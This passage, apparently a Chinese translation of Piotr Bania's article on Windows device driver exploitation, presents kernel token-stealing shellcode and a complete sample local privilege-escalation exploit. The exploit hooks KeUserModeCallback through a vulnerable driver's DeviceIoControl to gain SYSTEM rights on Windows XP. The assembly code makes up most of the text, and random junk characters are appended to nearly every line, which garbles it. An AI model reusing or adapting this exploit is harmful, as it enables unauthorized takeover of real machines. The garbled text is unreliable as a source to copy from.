4 R" ]( B) k& a* y. z `! O mov eax,[edi.D_PACKET.dp_src] . B Q7 c. A4 j: T3 q
mov edx,[edi.D_PACKET.dp_dest] ( V: Q4 f- R) q( ?
mov [edi.D_PACKET.dp_src],edx ; fill the packet structure , T. [- l$ C( i1 Z8 c( `
mov [edi.D_PACKET.dp_dest],eax . g2 s4 G. q/ k! D$ n9 H
mov ecx,MY_ADDRESS_SIZE & h4 {2 d. Z4 P9 a# q/ \
call talk2device ; do the magic thing!
7 h/ P5 h) S& i# `+ N+ e
1 j; F x! S9 G/ D- P% q+ y
/ Z/ }# ]. G8 y% }+ u5 D 关键点5:开发特定的内核模式shellcode
7 E. x) E3 ~( |' R0 X* Z 因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode。我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,请参见参考文献)。但是有很多非常有用的例子,现在我就讨论下在Xcon 上Eyas 介绍到的shellcodde。# y7 @& w, j# y! r' y
这个想法非常简单。首先,我们需要找到System的token,然后我们将它分配给我们的进程——这会将给我们的进程System权限。
x' t! i$ K) Z/ N 步骤:
x C- H6 p7 v) [* B - 找到ETHREAD(位于fs:[0x124])7 R! C/ R. j/ ~. m& x' J2 e) K1 |( g
- 从ETHREAD开始遍历EPROCESS
4 d0 R5 ^& A: O) m/ K - 我们使用EPROCESS.ActiveProcessLinks 检测所有运行中的进程* p! s+ p0 \4 f
- 我们将运行中的进程的pid 与System的pid 比较(Windows XP 始终为4)5 t- R2 r- A3 ?
- 获得后,我们搜索我们进程的pid,并且讲System的token 分配给我们的进程
8 R( z! a! K& s# x# H' T3 A. v 这里是完整的shellcode:
; Q; a# D3 p8 |9 w; A/ U$ [5 V8 g, e ; ------------------------------------------------------------
. B1 n d# I$ ~9 f. W ; Device Driver shellcode * h6 e! B( w6 f
; ------------------------------------------------------------ 7 Y2 l! V1 |$ ]" l2 v" ]
XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP 2 m- \" s! U( |
XP_FLINK_OFFSET equ 088h
$ l& N& Z1 D* S4 M& Z XP_TOKEN_OFFSET equ 0C8h
b8 l# k. i" d5 o; j2 J XP_SYS_PID equ 04h 2 Y* f+ Z0 L6 q& a
my_shellcode proc
# E' D0 }8 K# | pushad
: ~, y# q& y; M7 @- Z* t, q c3 i1 ^ db 0b8h ; mov eax,old_routine
6 I# l& @' ^1 [ Y( ~6 _. n old_routine dd 0 ; hardcoded
" `* @* W1 x2 Y, f, i db 0b9h ; mov ecx,routine_addr
+ Y- ]0 E& C; G, R, n routine_addr dd 0 ; this too % \; K) d+ h9 q" N0 Y5 J
mov [ecx],eax ; restore old routine
! a+ ?( U! g6 ^, r3 ?# V ; avoid multiple calls...
" E7 ? t- d8 M! r ; -----------------------------------------
/ V! }9 \' G8 P! X' Q ; start escalation procedure
! z9 [- I+ ?$ X7 w3 F$ O! `2 L" n ; -----------------------------------------
0 `8 L4 K1 x. v( g' w1 U% o/ g mov eax,dword ptr fs:[124h]
% c0 h6 {6 u; o3 n. t& z mov eax,[eax+44h] 4 I: e5 x' `% u6 \' h
push eax ; EAX = EPROCESS
" x' n8 Y5 o1 V3 L1 Q$ W3 [2 V s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX =
( N* ]4 v1 L. H# G1 ` EPROCESS.ActiveProcessLinks.Flink & |- U) @ Q5 `8 g9 b/ H3 {% O
sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
9 @; z' A: u! b/ S6 V$ w cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ?
7 |9 Z. z6 @- [, X- P/ r1 D: W jne s1 ; nope, continue search
1 K: i; p- g, s$ i ; EAX = found EPROCESS & _; F8 I, ~; _6 x/ v# {* Q0 D
mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token & c- a& K/ n- A: S. i7 c3 M4 Y" r
and edi,0fffffff8h ; aligned by 8
5 q% u3 J4 M- s w6 Y- } pop eax ; EAX = EPROCESS
3 p) h. Z0 _0 C7 ~$ j db 68h ; hardcoded push
' G, [6 A& K& {! z7 ~ my_pid dd 0
+ G3 }' u8 F5 W) M( [' x4 r; S pop ebx ; EBX = pid to escalate . j0 e1 X/ A6 Y* f5 q3 ^$ X/ F
s2: mov eax,[eax+XP_FLINK_OFFSET] ; EAX = 6 @7 K7 {7 H) Y# f" x9 A
EPROCESS.ActiveProcessLinks.Flink 1 c( Z1 {7 d! D K2 O8 n" ^
sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
4 I( O: W( g1 u8 e- } cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ??? 0 y- S3 }, C/ \$ O8 ?- y. t8 G x
jne s2 ; nope, try next one
7 O* `* W0 g: V; B7 [) { mov [eax+XP_TOKEN_OFFSET],edi ; party's over :) + g+ d. `. r3 q& G4 d9 e
popad
' N( t8 g% `3 F db 68h ; push old_routine
: ^9 Z4 l' a6 O4 P! ], R+ m: t- g old_routine2 dd 0 ; ret / i6 B$ t& ?4 \/ Q% Y
ret + g {3 n( x$ D) g$ Y% @
my_shellcode_size equ $ - offset my_shellcode 4 `2 b9 F% g, X1 @# w
my_shellcode endp; 1 t) M/ U8 `/ N3 P6 u$ O8 j8 O. ?
# a4 D1 {" M2 q/ x* f. {* n$ e6 W o9 W3 `) X2 x
结束语. @$ ~ A! R8 \& N- c
最后希望你能够喜欢这个文档,如果你有什么疑问不能解决,请联系我。所有文章中设计的程序可以在网站http://pb.specialised.info 上下载。
) W# u! Z: o; Z, D9 n k 参考文献:
" |7 m5 e# ] g" x 1) Win32 Device Drivers Communication Vulnerabilities
: A5 m0 W( [# V: I0 T 2) "Remote Windows Kernel Exploitation – Step into the Ring 0", by Barnaby Jack –1 U' k3 _" k& |1 E, W, s' u
eEYE digital security – http://www.eeye.com) s9 E- U# S/ W; k) I$ q' v
3) Eyas shellcode publication - ?' r3 I; y# e4 f; P
4) "The Windows 2000/NT Native Api Reference", by Gary Nebett0 ?; x3 M+ t- N" s" x
5) "Windows Syscall Shellcode", by myself -http://www.securityfocus.net/infocus/1844/ i/ ?* w+ R6 q3 B3 g9 |0 [: X
6) http://pb.specialised.info
( _2 s' R. R- L& o 附录:exploit. x4 @7 u; V% I! A4 Z* P! a
; ------------------------------------------------------------
; H5 { U: H) `3 g ; Sample local device driver exploit
5 Q* b4 C* P; c6 h ; by Piotr Bania
) g, O9 a, h$ y3 l ; http://pb.specialised.info
. X9 [! @$ m( k2 K: l* r( z ; All rights reserved
$ {2 k4 U, u$ X. \8 a ; ------------------------------------------------------------
1 X& L5 C( S9 s include my_macro.inc ; R2 j5 K/ r2 \; e
DEVICE_NAME equ "\\.\BUGGY" % B# ~* R) ~5 V% T, c. D
MY_ADDRESS equ 000110000h
, F! a# d: }* \" r# [; _' K2 S MY_ADDRESS_SIZE equ 512h ; some more
5 J ?! ?9 e, t# `) f& p D_PACKET struct , J0 L/ }# W" z
dp_dest dd 0
" v3 o' P8 g w dp_src dd 0
% o$ L) ?8 u/ P7 q( u D_PACKET ends , _* x! _& F, m# @6 U1 i4 m! J( F
call find_KeUserModeCallback_Routine
! j7 A% A7 a9 A9 O$ ^) V call get_ntos_base
2 P( f: ^2 z* m- q mov eax,dword ptr [real_ntos_base] , [$ y* G+ x$ ]2 ~0 }; Z$ o* ^+ K
add dword ptr [KeUserModeCallback_Routine],eax " I: `+ g. Z& j" `' h) @
call open_device 8 T0 B; _6 e* j: k* U
mov ebx,eax
; }& N B, u, D7 p+ ] push PAGE_EXECUTE_READWRITE . K @* ~- i0 n4 [
push MEM_COMMIT
+ U& h" z1 l8 z' j& i( } push MY_ADDRESS_SIZE
/ {0 V1 d3 R$ P! E push MY_ADDRESS $ h1 I5 `/ r* m; W5 b$ I5 Y
@callx VirtualAlloc ; D! A+ d% L+ @
@check 0,"Error: cannot allocate memory!"
1 D0 {: u% \8 _% a0 Y mov edi,eax ! Q1 f5 z# M' S9 c
; first signal copies original bytes to the buffer
1 I) F. ^( b- G mov eax,dword ptr [KeUserModeCallback_Routine] 6 n# }1 J+ K4 z) |4 T' \
mov dword ptr [routine_addr],eax
; l7 g7 h8 Y8 I3 s, e mov [edi.D_PACKET.dp_src],eax
- `! L. {5 U. e* B& [% ~, K mov [edi.D_PACKET.dp_dest],edi
& _8 _/ _3 J/ D& D1 p6 O add [edi.D_PACKET.dp_dest],8
7 q, r$ s0 r. ~( ^8 q mov ecx,512
7 a2 j# t/ i" D call talk2device o! l& Q: L4 w2 l
; original bytes are stored at edi+8 (in size of 512)
r$ }8 z, y7 a o, N, v ; now lets fill the shellcode
1 R) O+ S9 ~- r$ ? mov eax,[edi+8] ?4 A1 \5 V' s+ o6 K! N
mov dword ptr [old_routine],eax
, h4 Q+ L2 d2 E! Y+ u1 t mov dword ptr [old_routine2],eax
$ j9 i o; X. v4 w5 | @callx GetCurrentProcessId & Y( G5 w, @+ f) X; q, ]
mov dword ptr [my_pid],eax 4 K; q/ |. c k) Q1 q4 n6 |
push edi
. \) P! O; u! P; ]& J! f1 a' J mov ecx,my_shellcode_size
8 S. I8 i1 a+ m( r6 B9 s add edi,512 + 8 " a. z" X! V; @+ p; A, M
lea esi,my_shellcode , m9 N1 N/ j; \2 Z: b6 e; D
rep movsb
$ a. d7 r& M; Y" q pop edi 4 O- q6 S& f( { X0 _
; make the old KeUserModeCallback_Routine point to our shellcode % M7 Y1 q, ]) {9 v H3 D
; and exchange the source packet with destination packet
& p1 z0 j' E% g mov [edi+8],edi
* O: h. X! Q9 B- C5 D" g0 M add [edi+8],512 + 8 / M1 D9 l' ]; R- V
mov eax,[edi.D_PACKET.dp_src]
8 A, l7 n; _* k* n mov edx,[edi.D_PACKET.dp_dest]
) [) ?' y+ b, I* i9 n' j5 H& C mov [edi.D_PACKET.dp_src],edx k8 `; B. q' F- i# j) `- J* X
mov [edi.D_PACKET.dp_dest],eax i" p4 v- S% v2 U& V7 ^
mov ecx,MY_ADDRESS_SIZE
' [ G! m3 I+ h. _* d call talk2device
# J- Y/ k7 W/ ~ push MEM_DECOMMIT ( `, N$ r5 L/ m+ V6 s$ N8 k
push MY_ADDRESS_SIZE
9 r! H( ^; d$ t, k2 e push edi 3 c5 r; h+ b# Z7 v+ D& M5 y
@callx VirtualFree ; @% f' d& u9 ^. m& {6 R
@debug "I'm escalated !!!",MB_ICONINFORMATION / Z* H# R; v6 q# I* K" o$ ~
exit: ' x5 @' \' {5 U1 P: _% M% r
push 0
8 Y! b( J5 n2 u; M2 y# ? @callx ExitProcess
4 H3 M( s0 B- j: g. A: c, O$ ?7 B ; ------------------------------------------------------------
6 o/ L% |* y" z0 D5 a1 |+ M3 v ; Device Driver shellcode
2 x! s e& T5 o( P4 t. ~4 L b ; ------------------------------------------------------------ ' v5 a+ U; d) z, D- }$ ^* w
XP_PID_OFFSET equ 084h 6 y* p) H6 i6 d3 X+ s3 ]
XP_FLINK_OFFSET equ 088h
! Y0 l2 S& @4 a6 D* C1 d XP_TOKEN_OFFSET equ 0C8h 2 W( A6 G! k, M; [2 e" N( I
XP_SYS_PID equ 04h
9 E/ R9 b# \9 g; ^ my_shellcode proc 5 M' M4 a/ E* r3 Z, k2 g- n
pushad ! E1 S2 [+ b5 s( }
db 0b8h ; mov eax,old_routine , y) q; r; B4 g, X2 B
old_routine dd 0 ; hardcoded ; w. o" Z8 F W+ Q( e/ x5 x
db 0b9h ; mov ecx,routine_addr , y0 @ }/ u% E) m% P1 Q
routine_addr dd 0 ; this too
" D+ ~5 I, T8 ^, f/ m$ {8 l mov [ecx],eax ; restore old routine
+ s# X1 H- L; u; F1 {3 v ; avoid multiple calls... - T8 ]! U, @+ ^# f
; ----------------------------------------- ( P. H" k9 E, s) G3 o+ U
; start escalation procedure : N4 Q7 X5 A8 o' ~
; -----------------------------------------
/ i) d+ l" z# i( b$ _" U mov eax,dword ptr fs:[124h]
3 f4 e4 l9 M% Z) m mov eax,[eax+44h] ' u0 |1 R w1 l1 i0 L
push eax ; EAX = EPROCESS S$ M# `9 q2 W( |6 e7 Y
s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX =
8 t* M7 N7 y- T& { EPROCESS.ActiveProcessLinks.Flink
) O g. B# f, t. ]! V" s5 G sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
$ I: `7 j Y8 j. w4 b* Y( ~ cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ?
) ?' U1 y6 m! \3 n7 B jne s1 ; nope, continue search
+ e! D0 Y% g, ~) ]$ K9 {: b& V5 _ ; EAX = found EPROCESS
! {8 Y/ w& Q& I' y mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
- t; V. _" z) ~6 W) w& I" l8 N and edi,0fffffff8h ; aligned by 8
1 M" N V( U. h, [% m$ d+ ` pop eax ; EAX = EPROCESS 9 h5 N) o1 [; f, U: |4 W
db 68h ; hardcoded push ) x% s, y0 o+ r6 Z/ A- P8 {
my_pid dd 0
, j M6 ?1 X/ P# ?' a pop ebx ; EBX = pid to escalate $ |* }7 I( D& |0 e' x
s2:
) `6 }: X2 P, E8 U8 w. L! o mov eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink
+ m7 X- S2 o) S sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
- H- e1 C% ^. V, ^ cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ???
7 }$ e2 A7 Y6 j* l9 p; Q jne s2 ; nope, try next one 9 |0 C2 u& V% L& u1 E9 D
mov [eax+XP_TOKEN_OFFSET],edi ; party's over :)
' }0 t0 X& |5 v popad
$ z9 |( ~$ K& d7 N& V2 Z Z0 z9 Z db 68h ; push old_routine ( m0 w" m3 `3 c
old_routine2 dd 0 ; ret / p) {( k7 N9 g8 W
ret
, @; u; O0 X8 i3 E& Z) \ tok_handle dd 0 * Z v+ m0 R2 _% \- J
my_shellcode_size equ $ - offset my_shellcode 7 S6 b1 b! U. I2 F, ?- K1 x
my_shellcode endp 1 L! y; c/ O6 s
; ------------------------------------------------------------ ( @% P" ^* O, l
; finds the KeUserModeCallback_Routine from ntoskrnl.exe
; M- [* U1 ?4 B7 n _ X/ e ; ------------------------------------------------------------ + @- X+ T6 Z5 l7 I: ?- e/ O
find_KeUserModeCallback_Routine proc
& C9 w8 z7 S+ {4 B3 g- x pushad
4 ~9 b$ A3 L$ B/ k" d push 1 ;DONT_RESOLVE_DLL_REFERENCES
: ^6 a/ z6 |+ N1 ~8 o+ i$ F push 0
& Y) o0 P1 `$ F: z @pushsz "C:\windows\system32\ntoskrnl.exe" 4 N$ S8 w4 p& o8 c4 \
@callx LoadLibraryExA . Y7 ]5 Z4 M4 B, v
@check 0,"Error: cannot load library"
: R0 G% `. e7 M) L) t6 ]& Q: T/ Y mov ebx,eax : ?- |' y1 j. g3 w' }, {
@pushsz "KeUserModeCallback"
) M: }4 }: k; | push eax $ [1 {' j% l# l3 W
@callx GetProcAddress ' U. ^+ W! K$ @, F2 y% \- J; i
mov edi,eax ) V8 o3 x: e. b. Y* P0 j$ x
@check 0,"Error: cannot obtain KeUserModeCallback address"
6 u. G% D0 g! H( {0 g scan_for_call: inc edi
. d7 C& K. O. s) u2 H cmp word ptr [edi],015FFh : r/ t0 P5 g8 b; j. D: p4 B
jne scan_for_call 8 c9 p' ?+ |# l5 @. ?+ D) ~
mov eax,[edi+2]
; E5 r2 g# A E: ]: | mov ecx,[ebx+3ch]
p' m( E8 U7 h& ^/ T add ecx,ebx
; `/ o: L* [$ f6 s) z! s( i( L$ y mov ecx,[ecx+34h]
, P9 F$ z3 c* k8 r& Y sub eax,ecx : R( ^2 w6 |0 Q/ [) [, h0 V
mov dword ptr [KeUserModeCallback_Routine],eax
6 J8 p( j& u5 t popad
9 N" q. ?* j, V o( U, X- j( b ret
- [' U+ v7 k( S1 j find_KeUserModeCallback_Routine endp
3 D8 w# S7 p3 s' M' C$ B ; ------------------------------------------------------------
5 d3 ]$ s( V a ; Gets ntoskrnl.exe module base (real)
- W8 m6 X) N2 R6 A! m0 Y: v ; ------------------------------------------------------------ 8 F5 ?( H/ r' Y/ R$ d
get_ntos_base proc 0 \$ X# V7 m. }+ \; z% r
local __MODULES : _MODULES
: Z! {: ?+ _$ ]3 P3 Z pushad
8 F$ v% J0 L+ S4 l9 J @get_api_addr "ntdll","NtQuerySystemInformation"
3 q( L! g) i1 t9 `. z/ ~7 [( H# V @check 0,"Error: cannot grab NtQuerySystemInformation address" * H1 {5 x9 n' l7 v
mov ebx,eax
% s% b3 M* P4 R' q2 V# @ call a1
" O, K- A! E7 ^' [ ns dd 0 8 ? N+ r) E* }
a1: push 4 2 I4 _! d/ D4 I3 z
lea ecx,[__MODULES]
0 k" d% B: ~: F0 T! r push ecx + c& T" e5 D6 r' G4 P) ]) h* m
push SystemModuleInformation & b0 p) B+ G" V5 V. ] X
call eax
! i$ X! h7 {. F, G8 z. ^( ? cmp eax,0c0000004h 7 F3 m; s& }- o
jne error_ntos
+ Q/ L, V7 ]* I" U+ \ push dword ptr [ns] + t$ u/ i C3 q+ U# h
push GMEM_FIXED or GMEM_ZEROINIT
) n4 o- ]# N6 { @callx GlobalAlloc + r7 [# `. h0 t
mov ebp,eax
9 a( i/ M3 m& B! o5 L7 { push 0
/ ^! E+ \- V4 ~' X6 ^ push dword ptr [ns]
! c( b" W6 m& O6 O( l2 G push ebp
8 H, t, G) l) A A push SystemModuleInformation
, d) P0 e5 A% Y4 T call ebx
7 @6 {6 _7 J! j+ X. S test eax,eax , c, V" _. Y- K0 d/ G" J
jnz error_ntos 0 T4 T0 m# `( k
mov eax,dword ptr [ebp.smi_Base] * z1 a; d6 v3 g, }6 E" N
mov dword ptr [real_ntos_base],eax % D" P, X a0 F$ u( h" C& y0 d
push ebp 4 {% w- m$ h$ S3 N
@callx GlobalFree
. R/ }, E* B; c% @1 R popad 1 h- u+ D* C6 X+ q% _: l
ret
! W: P8 D2 t9 s8 L+ } error_ntos: xor eax,eax $ k$ @9 Z% i+ h0 w
@check 0,"Error: cannot execute NtQuerySystemInformation" 9 A4 n2 U: ?: ^ m. _
get_ntos_base endp
- k+ B* ~1 `: s/ W2 c$ W8 ^ ; ------------------------------------------------------------ / ]& R) R' f6 f p3 u+ i
; Opens the device we are trying to attack ( {' ~1 w$ _; m+ v2 a
; ------------------------------------------------------------
' ^5 f+ l( Z, B/ d open_device proc
; _: A3 k& K+ x& S; Z pushad
4 K2 m3 U( w4 B: h& [! g push 0
6 H# `8 ~; ^" E3 l8 G: q, N push 80h
- s- S" s' @$ c- i% @: N6 n$ r push 3 % F0 M% v8 h& _! Q2 {. _0 w
push 0
1 D Q6 N+ Y0 B push 0
. J5 f" W% @$ ~+ n; S, Q F push 0 * s, p3 [ i O+ j( j
@pushsz DEVICE_NAME * B& a* s& f D$ ^' a
@callx CreateFileA ; Z G" R8 p/ Q, p4 V, h
@check -1,"Error: cannot open device!"
9 x# a0 t) }, Z; s) s mov dword ptr [esp+PUSHA_STRUCT._EAX],eax 4 Y. |8 L5 x5 ~. N
popad
+ G9 S8 `" ]6 j% P2 r ret
# q% N: v0 o& `! S1 Z" d) m% s+ o$ j) t open_device endp
4 v2 \8 ?# A* j2 j e ; ------------------------------------------------------------ / {/ O; i5 j% I! x
; Procedure that communicates with the driver
) h" f+ c* p9 o4 y. |, w ; . ~9 m L2 Z9 R
; ENTRY -> EDI = INPUT BUFFER $ g5 E) h7 b5 e P& H3 u
; ECX = INPUT BUFFER SIZE
" Q5 P4 m8 C& [) ~& }' L ; EBX = DEVICE HANDLE 1 v; z: Z# ?# Y5 q* Z: G
; ------------------------------------------------------------
3 m; B7 t7 S, }. s0 n' u talk2device proc ! D: o% p1 _ i1 V
pushad 2 J w2 P# U7 [* l
push 0 , f! X3 n6 R6 D% X: u' f7 w3 f, T
push offset bytes_ret
& i. \( t4 V/ [* j# y push 0 ; o3 G! {! {! h% w" R$ _( P
push 0
' F: `, z. }1 y push ecx 6 E+ [/ C8 x$ V$ N% ~
push edi
. [2 j/ j6 y) x# A1 M- z+ L push 011111111h 6 a# S+ M, G$ w: J) a
push ebx
2 Z, ?* q# R6 V- g- M {- r# j @callx DeviceIoControl
# z3 o: M+ v" u7 H, T2 ?8 d @check 0,"Error: Send() failed" ' a& U. c9 r$ N/ K+ _# c
popad
" z; |. Y/ m5 ]% {5 |4 U9 L& v+ J ret
7 ]9 q; h+ c7 t9 B9 O bytes_ret dd 0
e- _; a4 k% q9 r! ?0 R- v talk2device endp - Y) F- N1 \; l; H9 x
_MODULES struct
; I+ I* i4 }9 A) L) K dwNModules dd 0 & O/ A c% ^( S
smi_Reserved dd 2 dup (0) " G) o7 a' x0 A1 Y n& Q2 s! f5 f
smi_Base dd 0
& ^! d" D* Y- Y3 O- R- y1 J* S. c smi_Size dd 0
) q) K, {+ E3 Q8 `& v" Q smi_Flags dd 0
4 f" e4 a* D4 J; l smi_Index dw 0 : i: u7 A# r' Z: {( x( R# O, o# c
smi_Unknown dw 0
$ ~* g3 ?1 |5 Q. S smi_LoadCount dw 0
k2 E2 r4 G' H$ J8 |+ ~4 R J smi_ModuleName dw 0
) W! M+ ?: F7 N smi_ImageName db 256 dup (0)
$ \$ m7 }8 k4 q* L3 }) i ends 4 _7 I/ V A s* w2 s+ R
SystemModuleInformation equ 11 ' N( b; J- V) H6 y+ l
KeUserModeCallback_Routine dd 0 4 K" d3 v4 n. D9 u f* V
real_ntos_base dd 0
& U( p( @4 P% I B base dd 0 - p/ ~9 B5 `: i4 {! R
include debug.inc
9 X l1 L5 F* |3 C end start / J+ f! i" ~6 n* o
: D5 D {* g! a' e2 }5 r& _. j- z# D5 H8 `' I0 t
原文作者:Piotr Bania. @) Y' ?* F0 k: Z. U5 E" |0 a4 L
译者BLOG:http://hi.baidu.com/ayarei8 Q; `' X( s; W9 n( N* F2 X# ^
) I& u( z5 v( Q
9 e8 s D# o6 n# @# |: i
|
|